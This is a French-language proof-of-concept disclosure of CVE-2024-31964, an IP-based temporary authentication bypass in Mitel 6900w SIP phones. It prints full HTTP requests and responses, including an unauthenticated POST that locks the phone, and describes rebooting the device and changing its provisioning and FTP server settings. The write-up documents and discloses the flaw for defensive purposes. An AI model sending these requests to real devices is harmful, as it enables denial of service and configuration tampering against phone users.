
Preuve de concept d'exploitation pour CVE-2024-31964, un contournement temporaire de l'authentification dans les téléphones SIP Mitel série 6900w permettant des requêtes POST non authentifiées pour modifier la configuration de l'appareil et effectuer un déni de service.
CVE-2024-31964 PoC : téléphone SIP série Mitel 6900w - contournement temporaire de l'authentification
Il s'agit d'une vulnérabilité de contournement temporaire de l'authentification dans le panneau du site web d'administration HTTP de plusieurs produits Mitel.
Permet à un attaquant de modifier la configuration de l'appareil et d'effectuer des attaques par déni de service contre l'appareil concerné.
Un utilisateur doit s'être connecté avec succès quelques minutes auparavant, et à partir de la même adresse IP source que l'attaquant.
CVSS proposé :
Avis : Mitel Product Security Advisory 24-0007
Cette CVE a été découverte lors de l'audit de 3 téléphones SIP présentant les propriétés suivantes (cette CVE a été testée avec succès sur ces 3 modèles d'appareils) :
Selon l'avis de Mitel, cela affecte davantage de produits, mais je n'ai eu accès à aucun d'entre eux pour le vérifier.
En général, pour accéder à toute ressource du panneau web de contrôle/administration Mitel, il est nécessaire d'effectuer des requêtes avec l'en-tête « Authorization », qui établit les identifiants de l'utilisateur qui tente d'accéder.
Exemple de requête authentifiée :

GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Authorization: Basic XXXXXXXXXXXX
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Si cet en-tête n'est pas défini, on obtient une erreur « Unauthorized » et une demande d'authentification, exigeant les identifiants.
Requête GET non authentifiée :

GET /sysinfo.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Referer: https://10.XX.XX.246/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Réponse :
HTTP/1.1 401 Unauthorized
Server: XXX
WWW-Authenticate: Basic realm="Mitel 6920w"
Connection: close
Content-Length: 745
Content-Type: text/html
<html>
<head>
<title>HTTP 401 Unauthorized</title>
</head>
<body bgcolor="white">
<table width="450" cellpadding="3" cellspacing="5">
<tr>
<td>
<h1 style="COLOR: black; FONT: 13pt/15pt verdana">
You are not authorized to view this page</h1>
</td>
...
Cependant, il s'avère que toutes les requêtes POST de l'application peuvent être effectuées sans définir l'en-tête Authorization, c'est-à-dire en tant qu'utilisateur non authentifié, à condition qu'un utilisateur légitime se soit précédemment connecté à partir de la même adresse IP source que l'attaquant, et pendant un temps limité (il a été mesuré que la fenêtre temporelle est d'environ 8 minutes). Autrement dit, si un utilisateur légitime se connecte au site web de gestion de l'appareil, il existe une fenêtre d'environ 8 minutes pendant laquelle un attaquant ayant la même adresse IP que l'utilisateur connecté pourrait effectuer des requêtes POST non authentifiées, sans avoir besoin de connaître les identifiants. La vulnérabilité est assez restrictive en raison de l'exigence de partager l'adresse IP avec un utilisateur légitime, mais dans les cas où un PC est partagé, ou où les ordinateurs sont accessibles via le même serveur proxy, les possibilités d'exploitation seraient plus élevées.
Au moyen de requêtes POST, il est possible de modifier les mots de passe des utilisateurs (nécessite une connaissance préalable du mot de passe), de verrouiller/déverrouiller l'appareil, de réinitialiser l'appareil, de téléverser des fichiers CSV de contacts, de configurer le serveur de configuration, etc.
Par exemple, si nous essayons de verrouiller l'appareil sans l'en-tête Authorization, nous constatons que l'appareil est effectivement bloqué, refusant son service à l'utilisateur, et nous pouvons également redémarrer le téléphone, refusant temporairement tout le service. Lors d'un test rapide, nous avons également modifié efficacement les touches de numérotation abrégée et le serveur de configuration.
Exemple de requête de verrouillage du téléphone non authentifiée :

POST /phonelock.html HTTP/1.1
Host: 10.XX.XX.246
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
Origin: https://10.XX.XX.246
Dnt: 1
Referer: https://10.XX.XX.246/phonelock.html
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
EmergencydialPlan=112%7C999%7C911%7C110&autolockDelay=0&autounlockDelay=0&lock=Bloquear
Réponse non authentifiée réussie :
HTTP/1.1 200 OK
X-Frame-Options: DENY
Content-Length: 4160
Connection: close
Accept-Language: es
Content-Type: text/html
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"> <head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Mitel 6920w</title>
<link rel='stylesheet' type='text/css' href='aastra.css' />
<link rel="shortcut icon" href="favicon.ico" type="image/x-icon" />
...
<div id='content'>
<p>Teléf. bloqueado</p>
</div></div><div id='footer'><span class='copyright'>Copyright © 2023 Mitel Networks Corporation</span><span class='support'><a href='https://github.com/d-raco/cve-2024-31964/blob/main/support'>Servicio de soporte técnico</a></span></div></div></body></html>
De plus, nous pouvons demander une réinitialisation de l'appareil :

Et utiliser ping pour vérifier la perte temporaire de connectivité :

Nous pouvons modifier la plupart des paramètres... Par exemple, le serveur FTP :

L'en-tête Authorization devrait toujours être exigé et validé, et/ou la session devrait être gérée avec des cookies, et non avec les adresses IP sources.